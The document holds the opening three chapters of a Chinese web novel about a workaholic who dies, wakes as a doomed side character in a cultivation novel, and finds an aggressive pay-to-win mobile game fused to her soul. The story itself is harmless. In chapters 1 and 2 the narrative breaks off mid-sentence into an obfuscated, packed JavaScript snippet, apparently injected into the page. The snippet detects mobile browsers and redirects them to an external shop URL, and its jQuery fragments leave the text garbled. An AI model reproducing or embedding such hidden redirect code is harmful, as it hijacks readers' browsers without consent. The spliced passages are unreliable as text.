《我有三十米长的大刀》 1. 第 1 章 滕棠,二十五岁,猝死前说的最后一句话是:“太内卷了!躺平是不可能躺平的,来杯超级浓缩黑咖啡,我还年轻,可以继续熬!继续卷!” 同事在摸鱼的时候,她在工作。 同事打盹休息,她学习。 同事下班,她加班。 她一生以努力工作为荣,被称为行业卷王。 倒下的那一刻,滕棠刚打开手游《热血岁月》,离开岗位五步,准备下班回家。 咚—— 办公室空无一人,没有预警地,年轻的女人突然心脏绞痛,倒向同事的工位,扑在一堆小说上。 同事小李酷爱看小说,身为男性,尤其爱看玄幻类后宫文。他桌上打开的那本,正是最近新买的,一本龙傲天修仙传。 此时这本书,像一根救命稻草,被滕棠的左手紧紧攥着封面和扉页。书籍的纸张,在没有风的情况下,往上翘起,好似被静电吸引的发丝,张张立起,诡异地开始自行翻动。 滕棠知道自己死了,因为她的灵魂离开了身体,正无形无色地飘在空中。她还有五感,只是削弱了一半,对周围的感知变得异常模糊。 她的灵魂几近透明,表情怔愣而惊恐。垂头看着下方躺得安详的尸体,她无能为力,只能看着尸体的目珠逐渐失去光芒、瞳孔变得涣散。 努力下沉自己轻飘飘的灵魂,想用几近透明的手去摸,想要回到自己的身体内,可惜变成灵魂的她,什么都做不到。 如果下班前不说那句话,兴许我就不会死,滕棠心里想着,几近透明的五官隐隐浮现出后悔之色。还喝什么超级浓缩咖啡,卷吧熬吧,看看你此时的下场…… 她沉默地盯着下方的尸体,一分一秒过去,心想自己的身体肯定在流失温度。 滕棠处于极大的痛苦与悔恨之中,以至于没法去思考,尸体左手中的书为什么无风自动、不停翻动着纸张,尸体右手中的手机为什么光芒大放。 过了一会儿,原本冒着璀璨明光的手机,在游戏启动进度条跑到100%时,忽然灭了光,直接黑屏,而《热血岁月》开启时的背景声音却还在。 [想装逼?来玩热血岁月!开局一把刀,氪金送灵宠,七彩翅膀、酷炫神装、华丽特效,应有尽有!充值商城,快速成长。大家都在玩,是兄弟就来砍我!] 铿锵有力的广告语在空荡的大楼里盘旋,那高亢的男音激得人浑身热血沸腾,让人恨不得立马按动手机屏幕,砍几个怪。 听着这声音,滕棠拉回思绪,心里倍感遗憾,心道这辈子是嫖不到游戏神装了,希望下辈子能有更多的空闲时间玩游戏,希望有个幸福的家庭、拥有不那么追求完美的性格。 她的魂魄在空中飘动,既不能上,也不能往下,隔着尸身一米远的距离,束缚在原地已有四十多分钟。 她没有觉得害怕,或许是因为这世间没有自己留恋的人,也没有牵挂着自己的人。 人死后竟然真的有灵魂?那会有投胎转世么? 滕棠的五感削弱后,灵魂状态很像人半梦半醒的状态,想法紊乱而跳跃。 她时常抬头,看向墙上的钟表,从来没觉得自己的思维这么慢过,仅是后悔痛苦一会儿,思考该去地府还是天堂一会儿,时间就过去了五十多分钟。 在指针指向凌晨,时针、分针、秒针刚好重合之际,尸体左手中的小说突然爆发七彩强光,形成一个流光漩涡。眨眼间,一股巨大的吸力凭空出现,将她的灵魂与一团漆黑的东西拉扯进去。 滕棠大惊失色,五感一会儿清晰一会儿模糊。她眼前的景象光怪陆离,碎片、彩圈一闪而逝,五颜六色的甬道像时光机,下一瞬又变成万花筒。 “呃……”她的灵魂上方,有团小小的黑色漩涡,正与她大脑逐渐融合。 如果令人眩晕的彩色通道里有一面镜子,如果那股吸力消失,她能够停下来看一看自己此时的模样,她一定会吓晕过去。 她的灵魂软烂如泥,四肢扭曲,大脑因黑色漩涡的侵入开始胀裂,五官分离在不同方位。她此时的样子,比鬼怪还可怖,仿佛地狱里爬出来的最丑陋的罗刹。 脑海中轰隆炸响,熟悉的游戏开局音震得滕棠灵魂颤栗:“动次打次……动次打次……” 滕棠的迷茫被DJ劲爆舞曲放大,灵魂嗡嗡。在急速滑过的七彩光芒之中,她的灵魂异常疲惫,意识恍惚,已经分不清这是现实还是梦境。 [叮!欢迎玩家登录《热血岁月》!] 当她的灵魂恢复原状时,一切转瞬又清晰起来,她眼前仍是飞速滑过的七彩流光,只是感知里多了个游戏界面。 《热血岁月》这款游戏仿佛与她的灵魂融为一体,她的灵魂在七彩隧道里翻来覆去地旋转,却始终能看到游戏的商城界面和个人信息栏。 光影错乱之间,她关注到一些奇怪的事,游戏商城界面上的东西没变,变的是货币单位,金银元宝变成“灵石”二字。 个人信息栏也发生了巨大的变化。玩家等级回归0级,左边站立的角色细致而具体,没有一点3d建模的失真感,仿佛真的有个穿古装的小人站在左边框框里,哀戚地看着脚边的水影。 这个小人长得很美,美到滕棠有瞬间失了神。女子风姿绰约,纤腰雪肤,柔弱地低下头颅,垂眸看向水面,风吹动身上的长袖裙摆,一副顾影自怜的模样。 与女子外貌格格不入的是她手中的大刀,完全破坏了柔弱的风情。这把大刀太过惹眼,半米长、一掌宽,粗铁锤制,上面锈迹斑斑,刀背有几处锈蚀的洞眼。 这是怎么回事?眼前的一切,超出了滕棠的认知。 周围令人眩晕的七彩流光从哪里来的?她为什么一直能看到《热血岁月》的游戏界面?还有,游戏角色是玩家自己捏出来的,形象并不精致,她上个月开始玩的时候,明明捏的是个丰满有型的女角色,不是这种孱弱自哀的美人。 我现在在哪儿?这是要去地府还是天国? 滕棠盯着彩色通道瞧时,被周围混乱的光影弄得疲惫,注意力只能放在游戏界面上。 她想翻阅商城后面的商品,看看有没有其他变化。这样的想法一闪而过,她惊奇地发现,游戏竟随她心意产生反应,真的翻到了商城第二页。 她愣了一会儿,对自己的状态产生怀疑,人死后,会困在光怪陆离的通道里?能随心所欲地操纵游戏界面?她怕不是在做梦! 我想醒来,快醒来,我不想继续做这个古怪的梦…… 嘟嘟嘟——,在她试图喊醒自己时,一个巨大的红色感叹号占据她整个脑海。 机械的警报音响个不停,直接中断了她的思维:[警告!系统欠债:-3中品灵石,无法维持游戏运营。热血岁月即将倒闭,关服倒计时一个月!] 流光溢彩的隧道终于见底,眼前快速闪过奇形怪状的眼睛、鼻子、嘴巴、耳朵……景象越来越离奇,黑暗中充斥着色彩斑斓的肢体残骸,两秒之后,她的视野归于黑暗,什么也看不见。 明月大陆,雾蓝山,鹿焰宗。 滕棠在一阵惊吓后,呛了两口河水,环顾四周,她发现视线已经恢复,而自身处在冰冷的潭水中。 她连忙蹬腿伸臂,求生欲让她身体爆发能量,虚弱的身躯竟挣扎着,从深深的冷水里爬了出来,趴在岸边呕水。 “咳咳咳……” 她咳出喉咙里最后一点水,抬起头,一张苍白如纸的脸宛如死人。 身体哪里都不舒服,尤其是胸腹,疼痛难忍。她趴在冷潭边,缓了许久才喘过气。 勉强扶着一块青石站起来,滕棠愣愣地看向远处陡峭的、层层叠峦的山峰。 白雾缭绕之下,连绵青山恍如仙境,座座高阁宝塔耸立在高山之上,御剑飞行的筑基修者正于山间自由来去。 这是哪儿?滕棠的身体晃动了下,脑袋中本就不清晰的意识被多出来的记忆所冲击,致使她差点摔回碎石地面。 片刻后,她呆愣在当场,瞠目结舌。 滕棠?修仙?龙傲天? 我这是穿越了?被小李那本小说吸进了玄幻世界? 她记得同事小李今天喊了一声:“这本小说好合我胃口,真好看!在二手旧书市场淘了那么久,没白费时间!” 胖胖的男人转头,朝还在改策划没吃午饭的女人说:“对了,滕棠,我看的这本书里有个女配,名字跟你一模一样,哈哈哈,不过她是位柔弱贤妻,你是个女汉子。” 滕棠饿得前胸贴后背,没法专心工作,便扭过椅子,好奇地问小李:“是吗?讲什么的?” 小李在隔壁笑得很猥琐,翻着古旧的书籍说:“讲修仙飞升的,男主很厉害,一路开后宫收美人,你在里面是他的青梅竹马,一个五灵根废物,你前期还好,人美又温柔,深得龙傲天的喜爱,可惜后面你就不行了,五灵根派不上用场,弱得要死,我刚看到第十九章,你被龙傲天的仇家杀掉了。” 那个“你”的称呼让滕棠不太舒适,出于礼貌没说什么,回过头继续工作。 身为工作狂的她,根本不在意此事,目不斜视地对着电脑改策划,很快将小李的一番话抛之脑后。 此时此刻,刚穿进小说的滕棠……多想回到下午一点,拉着小李大聊特聊,最好把对方的二手旧书抢过来,全部看完。 捂着胀痛的头,滕棠发现自己没法梳理那些混杂的记忆。 那是属于另一个滕棠的记忆,不是自己亲身经历的,便无从排序,所有的画面与言语乱成了一锅粥,时不时跳出几个片段,让她十分不适。 最为频繁的片段,当属原身死前的记忆:龙傲天下山历练,与他有仇的徐扉盛无处发泄怒火,便来杂役峰找到滕棠,将滕棠打入寒潭,杀人灭口。 小小一个杂役,在残酷的修真界,如同蚂蚁,没有人在意她的死活。 滕棠冷漠地望向原主坠落的崖顶,心里猜测着后面的剧情。这里的滕棠,并不是女配,而是女炮灰,才十九章就死了,在后面几百章中怕是名字都不会出现一下。 同事小李爱看后宫文,多情风流的主角龙傲天,定然不会在意原主的死活,最多发现她不在后,四处搜寻一下,找到了也不会太愤怒,因为有新的美人入怀,源源不断的美人会让他忘记一个叫滕棠的痴心女子。 湿淋淋地站在冷潭边,滕棠看向水中倒映的自己,这具身体和她长得有几分相似,但实在太过娇弱,瘦得仿佛一阵风就能吹倒,和她方才在个人信息栏看到的完全一样,是位妥妥的病美人,柔弱无骨,除了好看,一无是处。 “啊切~”她冷得瑟缩了下,脑子里又开始闪现片段。 想置她于死地的人名叫徐扉盛,是鹿焰宗掌门的儿子,和龙傲天素来不合,前段时间嫉妒龙傲天抢到了珍宝,一直想找龙傲天的麻烦,但龙傲天实力强横,他打不过,便想到这种鬼点子——动龙傲天身边的人。既然龙傲天那么喜欢身边的杂役滕棠,他不如将此女引到隐蔽处杀了,让龙傲天难受一阵子。 一个筑基一层对付一个炼气一层,轻而易举。徐扉盛抬手轻挥,原主这只蚂蚁就被狠狠掌入寒潭,翻不起一点水花。 原主溺亡,滕棠穿过来苟延残喘地续命。 “哎,是个可怜人。”滕棠盯着平静的水面,表情无奈,身为一个杂役,如何去讨公正? 在原主的片段式记忆里,徐扉盛是个两面派,在掌门和长老们的眼中,他是个老实、天赋不错的后辈,唯有在龙傲天和她面前,才飞扬跋扈,暴露出恶劣的本性。 掌门和长老们肯定不会相信她说的话,估摸着,这里就是女炮灰滕棠的终点。 “我为什么要穿越到你身上……”湖边的落汤鸡叹气一声,低语道:“我想好生投胎转世,重新做人。” 在这个充满灵气的世界,有灵根的人皆可修仙。修真共十个阶段,每个阶段分十层,炼气、筑基、金丹、元婴、出窍、分神、合体、洞虚、大乘、渡劫。 凡人想要飞升成仙,困难重重。 但也并不是没有机会,单灵根者是天道的宠儿,修行速度极其快,是世上最有可能成仙的人。其他人,每多一株杂根便会困难十倍,而原主有五根灵根…… 原主这种五灵根体质,被称为修仙废物,终生困于炼气期,普天之下,无一人筑基成功。 滕棠张开自己冻僵的双手,掌心艰难冒出一丝五色灵气。原身修炼了这么多年,竟只有炼气一层的实力,在修仙者如云的世界,实在是一粒微不足道的尘埃。 我穿越过来,有新生的机会是好事,但如何生存?滕棠感到一阵烦闷,右脚不停踢动旁边的石子。 咚咚入水的石子溅起清冷的水花,这点动静没有持续很久,潭面片刻后便静谧如常。 滕棠哀叹两声,脑海里突然冒出一段话:[兄弟,开局送你一把大刀,现在就来砍我吧~] 熟悉的广告声使她浑身一震。 她登时忆起,在光怪陆离的隧道中,自己看过的游戏界面。 恍惚记得,《热血岁月》这个酷炫狂霸拽的游戏,和她灵魂融合在了一起…… 滕棠心念一动,内视自身灰蒙脑海,瞳孔一缩,果不然看到了熟悉的游戏界面。 界面还停留在个人信息栏上,左边框框里的人物长得和此时的她一模一样,区别在于那把大刀不见了。 滕棠若有所思,集中注意力点旁边的[背包]功能键,而后试着取出里面唯一的东西——一把锈迹斑斑的大刀。 她即刻感觉右手一沉,垂头瞧去,手里真的出现了大刀。 这刀丑是丑了一点,万一好用呢?她随手一挥,空中飘过[经验值+1]、[伤害-9]的红绿字体。 这这……这是伤害值?滕棠仿佛明白了什么,顿时喜不自禁,耷拉的柳眉扬起,好似病入膏肓的患者被医生告知:你还有救! 然而下一秒,她的快乐就消失了。 提起锈刀尝试,除了野草能拦腰齐断,其他都不太行,砍石头砍不动,砍树砍不动,连身上的布都割不断……竟连水果刀都不如。 在她失望之极,脑子里突然蹦出来四个大字——[首充礼包]。 红彤彤、金灿灿的萌圆字形闪烁不停,令她无法忽视。 注意力集中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032660|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在[查看]二字上,转眼间,一个方框跳出来:[9块中品灵石超值礼包,购买可得永久装备:主武器·不生锈的半米大刀、副武器·小飞刀。] 滕棠连忙掏空原主的储物袋,摸出758块下品灵石,一股脑氪进脑子里的充值界面,选择购买……购买…… 她空空如也的手一抖,发现自己眼瞎了,物品价格单位是中品灵石,而不是下品灵石,1块中品灵石等于1000块下品灵石。她这758块下品灵石,去买9块中品灵石的首充礼包,零头都不够。 滕棠站在湖边,产生一种错觉,旁边的潭水是她流出来的泪水。 游戏氪金套路多,切勿上头,切勿冲动消费,人人需谨慎。这句话,滕棠上辈子天天挂嘴边。 她玩游戏从来不花钱,一直是快乐白嫖零氪党,游戏里的装备全靠她勤勤恳恳地打,需要用钱买的,就点开别人信息栏过过眼瘾。 现在重氪游戏《热血岁月》和她灵魂融合了、和她未来人生挂钩了,习惯白嫖的她郁闷得想吐血。 这具身体只是个杂役,哪里来那么多钱,滕棠只能可怜巴巴地点叉,退出去。 然后,她含恨地发现,右上角财富栏中,充进去的0.758没了,系统发来感谢邮件:[感谢玩家的支持!目前负债:-0.242,距离游戏倒闭关服还剩:29天23小时19分。] 滕棠闭眼,额角隐隐作痛,不知是寒潭之水冻的,还是气的。 仔细回顾原主的记忆,她翻来找去,发现原主确实只有这点财产,一时欲哭无泪。 原主对龙傲天百依百顺,为龙傲天付出那么多,怎么一点回报都没捞着?干的活数不胜数,薪酬月奉却比别的杂役更低,真是牛马不如…… 嗖—— 倏然,不远处传来破空响,滕棠抬头,看到一团飞向自己的黑影,吓得她慌忙后退。 她心跳如鼓,握紧半米锈刀,微弓上身警惕来者,非常害怕是徐扉盛折回来,检查她是否还活着。 云雾袅绕的寒潭之上,一点黑影由远及近。 穿着水墨衣衫的男子落至滕棠面前,五官平平无奇,看起来和原身差不多大,十七八岁的模样。 原身的记忆里似乎没有此人,滕棠在那些混乱的片段中努力搜寻,找不到相符之人。 不是徐扉盛就好……不对,万一对方是徐扉盛身边的人呢?滕棠心存警惕。 男子模样虽普通,但气度不凡,脊背挺直,乌黑如鸦羽的长发披肩,一绺顺滑地从耳侧垂落。 他站于飞剑上,眼神冰寒,召出另一把暗红的剑,抵在滕棠脖子处,冷漠问道:“你就是龙傲天的女人?” 来者不善,善者不来。何况此人的气势极强,那股杀意直击心脏。面对一个浑身湿透,如同被雨水砸了瓣的梨花人儿,他没有半点怜惜和不忍,一来就杀气腾腾,好似滕棠欠了他还不清的债。 滕棠身上滴落的不仅是潭水,还有冷汗。 她吞咽一口,努力使自己保持冷静,期期艾艾道:“怎么可能?公子误会,我并非他的女人。相反,他是我的仇人,因为他,我刚才差点溺死在这冷潭中!” “哼,你名滕棠,是他身边贴身杂役,别以我不知道你和他的关系。”男子漠然道,身上的杀意又重了几分。 滕棠没看过书,不知剧情走向,亦不知有哪些角色。 “不不,公子真的误会了,我确实是他身边杂役,但我和他毫无关系,我恨不得他死!”她果断地表明立场,双目爬满血丝,似真的恨极了龙傲天。 滕棠很努力地在脑海中搜寻,始终没找到关于此人的记忆片段,或许原主根本没见过此人。 这人也许不是徐扉盛身边的人,因为他没穿鹿焰宗的衣服,见她还活着,也没有立刻杀她。 不过看此人长这么普通,在美女帅哥如云的修真界里,估计和她一样,是个小炮灰,因什么事和龙傲天结了仇,偷偷跑进鹿焰宗,像徐扉盛一样,打不过龙傲天,便找龙傲天身边之人撒气。 墨衣男子看清她只有炼气一层的实力后,稍稍撤回剑,目光依旧如刀刃般锐利,让滕棠忍不住想低头。 他本身便有一米八几的身高,加之浮于空中,纵使长相不尽人意,那股独特的气势亦令滕棠不敢直视。 “我问你两个问题,你要是都答出来,我就饶你一命。” 男子声音与刚才略有不同,似阖着嗓子,更清脆些。 滕棠无暇去细辨这人身上的各种违和处,她并不想死,只能赌一把他的问题不难:“好,公子你问,我一定知无不言言无不尽。” “龙傲天手上的不死神戒从何处寻得?” 任那青年音再稚涩,冰冷的语气压在人心上,滕棠不禁轻微颤抖,好似头上有千个老板在问她:“交给你的工作怎么没做好?” 筑基二层的实力,放眼修真界兴许不够看,但比炼气一层强太多了。 很快,滕棠感受到一阵威压,使她抬不起头、直不起身。来自实力方面的差距,不断磋磨着她的精神意志。 危机时刻,她的心跳加快,身上全是汗。 当她在脑子里面极速搜索原主记忆时,《热血岁月》这款游戏十分招人嫌,不适宜地突兀跳出一个红色的方框,中断她的思索。 [恭喜您获得限时优惠!VIP体验日卡,VIP普通周卡,VIP高贵月卡,VIP金尊年卡。价格11106(划掉),新人享五折优惠,仅需5553中品灵石!] 方框下面,四个巨大的彩色字体——“点击购买”,像她心脏一样砰砰跳动,不断变大缩小,诱惑着她氪金。 滕棠嘴角抽搐,在脑子里集中注意力,叉了两下,才叉掉这个氪金提示。 刚离开游戏界面,她准备继续搜索原主的记忆时,上方男子再次出声,声音愈发冰冷,连带着寒潭的雾气也降了几度,冻得浑身湿透的滕棠直打哆嗦:“不想死就快说!” 滕棠有那么瞬间被吓到头脑空白,她快速在脑子里过了一遍,没想到真的找到了能救她命的片段,激动道:“道友!我想起来了!那戒指是他在后山宝塔里捡的!” 岑云岭沉默片刻,忆起塔中那场诡异的试炼,目光森然地盯着人半晌,倏地将滕棠脖子前的剑收回去,问出第二个问题:“龙傲天在哪儿?” 几乎是条件反射般,滕棠双目瞳孔往左上看,不断读取原主的过去。 紧接着,注意力再次被打断。《热血岁月》这款游戏,又跳出一个金光闪闪的方框,恼得她无意识地抓头发。 [恭喜您!被限时礼包砸中!内含稀有时装·绯红战袍、1级回血丹、1级复灵丹、1级血肉增强液。原价99(划掉),三折优惠仅需29.7中品灵石,是否购买?是(大号动态字体)否(小号静态字体)] 当初玩什么游戏不好,要玩《热血岁月》。开局十分钟不到,就弹出三个骗氪广告。 她毫不怀疑,作为新人玩家,接下来会看到各种骗氪方框,什么首充、vip卡、运气抽奖、衣服装备、灵宠特效、专属打斗BGM……变着花样诱导人充值购买。 2. 第 2 章 “继续耽搁,对你没有益处。” 一阵凉雾飘来,拂起滕棠两臂的鸡皮疙瘩。 岑云岭见滕棠表情呆傻,怀疑此女是想替龙傲天争取时间,才这样支支吾吾,半天不说话。 手里的剑柄拔-出一截,嚓地发出轻响,仙品灵剑寒光乍放,剑气劈开潭边雾气,削断了滕棠脸颊边的一小截碎发。 铛哐——手中的大刀下落到碎石地上,滕棠抬手,摸了摸苍白的脸,还好没流血。 她怂怂地后退一步,矢口否认:“公子别急,我从小口吃愚钝,惜命得很,没胆量同你作对。” 我已经死过一次,到底在怕什么?她竭力让自己平静下来,暗道:大不了再死一次,投胎重新做人。 滕棠的心跳不像刚才那么剧烈了,面色也平稳不少。她心里愈发确认面前男子的身份,拔几次剑不出手,磨磨蹭蹭,反派炮灰无疑了,且长相实力都一般,多半是龙傲天前期的垫脚石,过不了多久就会挂掉。 如果岑云岭知道她心里的想法,手里的剑怕是关不住。身为世间唯一的不死魔龙,活了上万年之久,从未有人敢如此嘲讽他。 若不是万年前挑衅浮光老祖,他背了“吞天道”的黑锅,被天道盯上,遭众修者合力封印在十二件仙器之中,如今早就成仙成神了。 怪就怪天道不公、分不清是非,而他在人间名声太差,无人信他。打败浮光老祖后,他成为世界巅峰之人仅半盏茶时间,就遭灵修围攻,遭紫雷大劫,跌落到谷底。 岑云岭于黑暗里,数不清多少次立誓,有朝一日,定要齐聚分-身,将当初枉害他之人一一报复回去,等成仙成神之后,将此界天道绞杀诛灭。 万年已过,终于有机会重见天日…… 明月大陆是边缘大陆,比起繁华强盛的天央大陆,修真者数量较少,实力普遍偏弱。 鹿焰宗地处明月大陆北端,山峰又高,日夜温度相差较大。 这会儿天色渐晚,寒潭的冷气越来越湿重,如烟飘袅,一阵阵拂过湿透的滕棠,冻得她抖个不停。 脑子里的记忆不属于她,回忆起来有很大的难度,容易在快速阅览过程中忽略想要的答案。 湿漉漉的衣服贴在身上,披帛脏而垮,她左手抓着脑袋上的发髻,表情痛苦。 特别是,在她即将找到之时,游戏系统仿佛不想让她好过,接连跳出:[每日登录。签到领好礼,1、2、3……购买补签卡,9块中品灵石一张。点击购买。] [春季迎新。消费回馈多,好物送不停!点击查看。] [分享得好礼。分享此内容,可获得1块中品灵石。点击分享。] 被接连打断神思,滕棠快要崩溃,姣好的五官微微扭曲,头上两个圆髻被她捏成犄角。 本是个柔弱白皙的美人,此刻表情狂野,好似疯痴之人。 上方岑云岭见她如此,联想起滕棠那句“口吃愚钝”,只觉她病得不轻,或许患的是癫症。 滕棠集中注意力,叉掉两个界面,留下那个分享得好礼的,面色稍许好转。蚊子肉也是肉,1块中品灵石能抵上她全部身家。 翻看记忆速度加快,她终于在一个月前的记忆里,找到原主和龙傲天的分别画面。 她松开发髻,高兴道:“他去楚合山脉历练,临行前说过,要采十朵安神花,给掌门之女徐扉罗炼药。” 安神花喜阴寒,所生之处浓雾十里,有浓雾的地方就有可能长着安神花,想找龙傲天不算太难。 滕棠的回答,帮他缩小了范围。岑云岭咔地合上剑,垂眸瞥她一眼,御剑准备离开此地。 正巧,滕棠在脑海中按了[转发分享]的按钮,身体和嘴不受控制地,扬手叫住他,一本正经分享道:“兄弟!快来玩人气火爆游戏《热血岁月》,开局一把刀,一刀999,各种好礼尽情送!花样副本等你来挑战,打怪掉落酷炫装备,装备不花一分钱,在线与玩家激情pk,大家都在玩,是好兄弟就来砍我~” 她的尔康手就这么热情地伸出去,收都收不回来,全身每个部位皆不受她控制。 逐字逐句分享完毕,脑袋里金光四射,一块中品灵石被放大,占据她整个思维,而后缩小飞到财富一栏,最终被系统吞掉。 一封感谢信发来:[感谢玩家的支持!目前负债:-0.142,距离游戏倒闭关服还剩:29天23小时02分。] 滕棠整个人都石化掉,要问她念完这段内容是什么感觉,她必然会道:脚趾抠地。 她此时,恨不得找个地儿把自己埋了。 身体的掌控权回归,滕棠颤抖地缩回手,低下头,不敢看上面的人是什么反应。 岑云岭盯着她缄默良久,忽而从袖口丢出一瓶灵药,落在她脚下:“此药可缓解寻常癫症。” 话毕,他挥挥袖,不带走一片凉雾,留下一道孤傲而清冷的背影。 黑衣男子离开后,滕棠单脚把那药瓶踢入寒潭之中,死死捂住自己发红的脸。 等那点无地自容的感觉消失,她才放下手,骂道:“这破游戏,竟能控制我身体!”看来以后点分享还得小心周围,在无人的时候弄。 游戏好似应她所想,春季迎新消费活动再次跳出来,提醒她分享该页面可得1块中品灵石。 滕棠的面色忽红忽白,心道可以白嫖的奖励,不拿白不拿,于是当即点[转发分享]。 眼下无人,正是拿奖励的好时机。 [(咚)分享失败,您没有成功发送给好友。] 意思身边得有人,才能分享成功? “……” 滕棠一想到刚才的情形,就面色难堪,对别人说出如此羞耻的游戏广告语,要把脸皮练到多厚才行? 微笑,要保持微笑。只要我不尴尬,尴尬的就是别人。一切为了灵石,为了变强,为了生存下去! 穿过来一个小时,她后悔玩《热血岁月》十一次。 自我安慰一番,滕棠甩甩头,努力将这些遗忘掉。 她在原主记忆里翻阅半天,找到一段净身诀,掐使出来。冷水瞬间蒸发,浑身干爽,余留腹部青紫的掌印未消。她嘶气一声,按照脑子里的记忆,离开寒潭,疲惫地走向一座偏僻的山峰。 明月大陆有八大门派和众多小门派,鹿焰宗位于第八,地位不高不低,是第二门派福鹿宗的附属门派。常年来,门内弟子为了撑面子,时常对外自称福鹿宗弟子,少有说鹿焰宗的。 修真界残酷无比,靠实力地位说话,底层人士生存艰难。尤其是女修,这个世界以男子为尊,女子的地位低得可怜。因修仙会改善人肌肤气质,再丑的也能变顺眼,弱女子很容易被觊觎美色,被迫当炉鼎,短短葬送一生。 想要掌握自己的命运,就要变得更强,比任何人都强。 滕棠粗略过一遍原主的记忆, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032661|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不免感慨,没实力的人渺如尘埃。 龙傲天虽是原主的青梅竹马,但从未正眼瞧过原主,可能知晓原主天赋差,送再多灵丹妙药也扶不起这团烂泥,索性从未给过好处,都是原主在任劳任怨地为他付出。 他之所以愿意带原主进鹿焰宗,不仅是因为两人从小一起长大,有陪伴的感情在,还因为原主长得美,他想得到手。 但原主始终不肯就范,总觉得龙傲天得到自己后,更不会重视自身,因而一直矜持着,要龙傲天娶她,不娶她就不准碰她。 滕棠翻看着原主的记忆,眉头皱得死紧。她穿越过来有什么意义?五灵根乃废柴体质,无人跨过筑基的门槛,寿命只有一百岁左右。她穿过来这几十年该怎么活? 蹲下身,捡起地上锈迹斑斑的大刀,她暗想,也许《热血岁月》可以帮她。 但是一想到这个游戏的尿性,需要大量氪金,才能得到装备和商城物品,她就头疼。 当初怎么没玩其他游戏呢?偏要受虐,下载这种烂游戏。 她无奈地打开脑子里的界面,开始研究生存之道。 提着锈刀在附近劈砍,她忽然发现,玩家1到100的等级,对应修真的一百个实力分层。 这是不是意味着……只要游戏不倒闭,她努力增加经验,就能无视灵根限制,变成强者?! 滕棠仿佛找到了动力,神情焕发光彩,连忙在[每日登录]的页面,给第一天打上勾,白嫖到一块下品灵石。 随后,她翻看游戏的各种功能,果不其然,全是氪金点。 摸着空空如也的储物袋,滕棠忍不住叹气:“好穷……” 原身完全依附男主而活,负责给龙傲天的院落打扫、照顾龙傲天的衣食起居,不知为何异常白痴,只拿一半的杂役酬劳,将另一半交给龙傲天,美其名曰“我无父无母,哥哥勿要嫌弃它少,一定要收下,这是我以后的嫁妆”。 原主无私奉献自己的时间精力、感情及一半酬劳就算了,竟从未讨要过有价值的东西,不仅如此,还把剩下的灵石存起来,给龙傲天买衣服…… 龙傲天缺你这点灵石吗?他甚至不是真心爱你,只是觊觎你美色,享受你对他的付出。滕棠按着太阳穴,想起自身的贫穷,不免又回想到原主的一些记忆片段。 她告诉自己不气不气,这个滕棠不是她,何必为他人生气? 不能再看原主的记忆了,原主天天围着龙傲天转,几乎所有记忆都与龙傲天有关。 每回忆到两人亲密相处的情景,滕棠总会起一身鸡皮疙瘩。 龙傲天含情脉脉地执起原主的手,浓眉高挑,眼窝深邃,用着极其霸道的语气说道:“丫头,从今往后,你便是我龙傲天的女人,我的心肝宝贝,有我在,我绝不让其他人伤你分毫。我龙傲天,往后定不负卿,我会成为一条傲视天下的神龙!” 原主含羞地别过脸,扭动身体,抽回手在龙傲天肩膀上轻轻打了一下,娇滴滴地道:“龙哥哥真讨厌~说得人家都脸红了,我们从小长到大,我深知你有多大的能力,龙哥哥以后一定能成为神龙,我等着哥哥娶我~” 龙傲天邪魅一笑,勾着原主的下巴道:“娶你还等以后?等哥哥娶了扉罗,就立马娶你,脱下你那红彤彤的花嫁衣,好好疼你。” “龙哥哥真讨厌~老说这种让人害臊的话~” 一个油腻,一个做作,看得滕棠哑口无言。 3. 第 3 章 山色叠青,雾霭霏霏,一座翠峰高耸入云,腰间环戴薄烟,威仪立于四丘之间。在峰崖石壁顶端,一条雪白长瀑飞泻而下,随着虬石突势,潜入崖底的潺潺溪涧。 绯红的晚霞美如绸缎,穿过烟锁雾笼的山腰,给云瀑水波增添昳丽霞彩,经崖下密林筛滤之后,洒碎成斑驳光影。 山泉淙淙声中,宗门的杂役接连回到崖底石洞内,结束一天的劳累。三三两两挽手归来,说说笑笑,闲聊着日常趣事。 滕棠凭借记忆寻到这儿,望向山上昏暗的洞穴,心里腹诽,这是给人住的地方吗?看起来像极了棺材洞,布满整座山,密集得吓人。 山的这一侧给女杂役住,另一侧给男杂役住,中间被瀑布分开,因此溪潭那儿有数对男女谈情说爱。 许是滕棠外貌太出众,身份特殊,周围杂役没几个不认识她的,时不时偷瞄她,压着声量谈论。 看表情动作,滕棠直觉他们在说自己,而且不是什么好话。 原主在龙傲天面前温柔做作,在杂役面前则是自诩清高,想来被这些人很排斥。 滕棠没心思去猜这些人在讲什么,无所谓地走过去,上山回到自己的洞穴之中。 原本驻足议论她的杂役,见当事人走了,登时失去趣味,各回各洞。 洞口有一张普通结界符做掩护,内里空荡荡,和储物袋一样简洁,空间也不大,狭小到只能放一张石床、一个柜子。 龙傲天是否真喜欢原主,滕棠抱有怀疑。男主每日甜言蜜语,不仅仅是说给她一个人听的,还说给其他女子听。 什么海誓山盟,不过是见色起意罢了。光是看这住所,滕棠便明白,龙傲天并不关心这位女炮灰。 回想起原主记忆里,龙傲天和掌门之女徐扉罗定了亲,她忍不住皱眉吐槽:“真渣,也不知这男主有多少位后宫。” “得想办法摆脱现状。”她自言自语着,面露迷惘。 